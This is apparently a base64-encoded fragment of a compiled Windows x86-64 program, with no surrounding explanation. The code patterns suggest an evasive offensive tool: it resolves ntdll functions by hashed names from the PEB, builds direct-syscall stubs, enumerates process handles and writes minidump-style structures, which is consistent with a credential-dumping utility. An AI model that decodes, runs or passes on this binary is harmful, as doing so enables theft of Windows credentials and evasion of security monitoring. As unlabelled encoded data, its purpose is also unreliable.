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uEiLRbiLQDxIY9BIi0XwSAHQSIlFsEiLRbBIBYgAAABIiUWoSItFqIsAiUWkg32kAHRMi1WkSItF8EgB0EiJRfhIi0X4i0AMicJIi0XwSAHQSIlFmEiLRZiLAA0gICAgPW50ZGx1G0iLRZhIg8AEiwANICAgID1sLmRsdCTrBJDrAZBIi0XoSIsASIlF6EiLRehIi0AwSIXAD4VO////6wGQSIN9+AB1CrgAAAAA6TEDAABIi0X4i0AYiUXkSItF+ItAHInCSItF8EgB0EiJRZBIi0X4i0AgicJIi0XwSAHQSIlFiEiLRfiLQCSJwkiLRfBIAdBIiUWAx0XgAAAAAEiNBVwNAQBIiYV4////i0Xkg+gBicBIjRSFAAAAAEiLRYhIAdCLAInCSItF8EgB0EiJhXD///9Ii4Vw////D7cAZj1ad3V0i0XgSMHgBEiJwkiLhXj///9IjRwCSIuFcP///0iJweis/f//iQOLReSD6AGJwEiNFABIi0WASAHQD7cAD7fASI0UhQAAAABIi0WQSAHQi1XgSInRSMHhBEiLlXj///9IAcqLAIlCBINF4AGBfeD0AQAAdBCDbeQBg33kAA+FRf///+sBkItF4IkFhgwBAMdF3AAAAADpWgEAAMdF2AAAAADpNQEAAItF2EjB4ARIicJIi4V4////SAHQi1AEi0XYg8ABicBIweAESInBSIuFeP///0gByItABDnCD4b2AAAASMeFQP///wAAAABIx4VI////AAAAAItF2EjB4ARIicJIi4V4////SAHQiwCJhUD///+LRdhIweAESInCSIuFeP///0gB0ItABImFRP///4tF2IPAAYnASMHgBEiJwkiLhXj///9IAdCLVdhIidFIweEESIuVeP///0gByosAiQKLRdiDwAGJwEjB4ARIicJIi4V4////SAHQi1XYSInRSMHhBEiLlXj///9IAcqLQASJQgSLRdiDwAGJwEjB4ARIicJIi4V4////SAHCi4VA////iQKLRdiDwAGJwEjB4ARIicJIi4V4////SAHCi4VE////iUIEg0XYAYsFMwsBACtF3IPoATlF2A+Ctv7//4NF3AGLBRoLAQCD6AE5RdwPgpT+//9Ii4V4////SIPAEItQBEiLhXj///+LSASJ0CnIiYVs////x0XUAAAAAOtZi0XUSMHgBEiJwkiL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